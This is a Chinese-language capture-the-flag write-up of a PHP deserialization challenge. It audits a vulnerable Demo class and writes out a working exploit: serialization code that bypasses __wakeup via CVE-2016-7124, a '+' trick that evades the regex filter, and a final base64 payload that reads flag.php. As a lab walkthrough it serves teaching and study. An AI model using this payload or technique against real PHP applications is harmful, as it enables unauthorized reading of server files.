5.level5-[本地复现]-[+的利用]-[私有属性的序列化]-[base64编码]

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

PHP反序列化漏洞

level5-[本地复现]-[+的利用]-[私有属性的序列化]-[base64编码]

1.题目描述

<?php 
class Demo { 
    private $file = 'level-5-local.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'level-5-local.php') { 
            //the secret is in the flag.php
            $this->file = 'level-5-local.php'; 
        } 
    } 
}

if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("level-5-local.php"); 
} 
?>

2.代码审计

通读代码:

<?php 
class Demo { 								// 定义一个以Demo为名的类
    private $file = 'level-5-local.php';	// 定义一个以file为名的私有属性,赋值为当前页面
    public function __construct($file) { 	// 定义一个以file属性为参数的公有构造方法
        $this->file = $file; // 构造方法:当前类的实例化对象被创建的时候,自动被调用,从而进行属性初始化
    }
    function __destruct() { 				// 定义一个析构方法
        echo @highlight_file($this->file, true); 	
        // 析构方法:当前类的实例化对象被销毁前,自动被调用,从而高亮显示以file属性为名的文件源码
    }
    function __wakeup() { 	// 定义一个魔术方法wakeup,当前类的实例化对象被反序列化的时候,自动被调用
        if ($this->file != 'level-5-local.php') { // 判断file属性的值是否为level-5-local.php
            //the secret is in the flag.php		  // 提示flag位于flag.php页面的中,
            								      // 猜测是注释,需要读取页面源码
            $this->file = 'level-5-local.php'; 	  // 若file属性的值不为当前页面,就赋值为当前页面
        } 
    } 
}

if (isset($_GET['var'])) { 		// 判断是否以GET形式提交了参数给var,或提交的参数是否为NULL
    $var = base64_decode($_GET['var']); 	// 若提交了且不为NULL,则对传入的参数进行base64解码
    if (preg_match('/[oc]:d+:/i', $var)) { // 正则匹配,过滤序列化字符串
        die('stop hacking!'); 				// 若匹配正则成功,输出stop hacking!并且直接退出脚本
    } else {
        @unserialize($var); 				// 否则,反序列化字符串,然后会自动的去执行wakeup方法
    } 
} else { 						// 否则,也就是没有提交参数或提交的参数为NULL
    highlight_file("level-5-local.php"); // 高亮显示当前页面level-5-local.php的源码
} 
?>

从上到下,依次分析所得:

  • flag值位于:flag.php页面内,猜测是以注释的方式存储,所以需要读取页面源码

  • Demo类的析构方法,会高亮显示以file私有属性的值为名的文件的页面源码

  • Demo类的wakeup方法,会强制的把file属性的值修改为当前level5-local.php页面

  • 后台对用户传入的参数进行base64解码,因此我们在传入序列化字符串之前要进行base64编码,也就变相的绕过了私有属性在序列化时候产生的不可见字符0了

  • 后台对我们传入的序列化字符串进行了正则匹配的过滤,首先要看得懂:if (preg_match(’/[oc]:d+:/i’, $var))

    /		 正则匹配开始的标志
    [oc] 	 匹配o或者c
    d    	 匹配任意一个10进制的数
    +    	 匹配前面的字符 1-N 次
    /		 正则匹配结束的标志
    i     	 表示不区分大小写
    
  • 反序列化我们传入的参数,会自动调用wakeup方法,从而强制的把file属性的值修改为当前level5-local.php页面

四要素分析:

  • **后台存在反序列函数:**会触发wakeup魔术方法,强制的把file属性修改为当前页面,我们可以利用CVE-2016-7124漏洞,从而使反序列化的时候绕过该魔术方法
  • **后台存在不正当使用魔术方法的行为:**析构方法会高亮显示以file私有属性的值为名的文件的页面源码
  • **后台存在highlight_file()函数:**可以读取页面源码
  • 用户对传入的反序列化的内容可控:使用+绕过正则匹配

3.解题过程

第一步:分析流程

  • 要想获得flag值,需要读取flag.php页面的源码
  • 要想读取flag.php页面的源码,需要执行析构方法且file属性的值为flag.php,同时不能执行wakeup魔术方法
  • 想要执行析构方法且file属性的值为flag.php,需要传入当前类且属性值为flag.php的实例化对象,注意需要绕过正则对我们传入的序列化的过滤
  • 想要在反序列化的时候不执行wakeup魔术方法,只要利用CVE-2016-7124漏洞即可
  • 想要绕过正则的过滤,只需要在类名长度的前面加上一个+即可,注意正号对反序列化的时候无影响
  • 注意:最后我们需要把传入的序列化字符串进行base64编码,因为后台会base64解码

第二步:根据以上步骤构造payload

<?php 
class Demo { 
    private $file = 'flag.php';
}

$chen = new Demo();
$chen = serialize($chen);
echo $chen."<br />";
$chen = str_replace(':1:',':2:',$chen);		// 绕过wakeup:CVE-2016-7124
$chen = str_replace('O:4','O:+4',$chen);	// 绕过正则:在类名的长度前面加上一个+
echo $chen."<br />";
$chen = base64_encode($chen);
echo $chen;
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
?>

payload:

?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==

第三步:传入payload,读取flag.php页面源码,得到flag

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YZBFeSLZ-1640613918489)(D:☆学习share2OWASP-TOP10系统学习A08-不安全的反序列化-PHP反序列化images15.png)]

4.总结

  • 序列化后:类名的长度前面可以加上一个+,既可以绕过正则,也不会影响反序列化的进行
  • CVE-2016-7124绕过wakeup
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
分享
二维码
< <上一篇
下一篇>>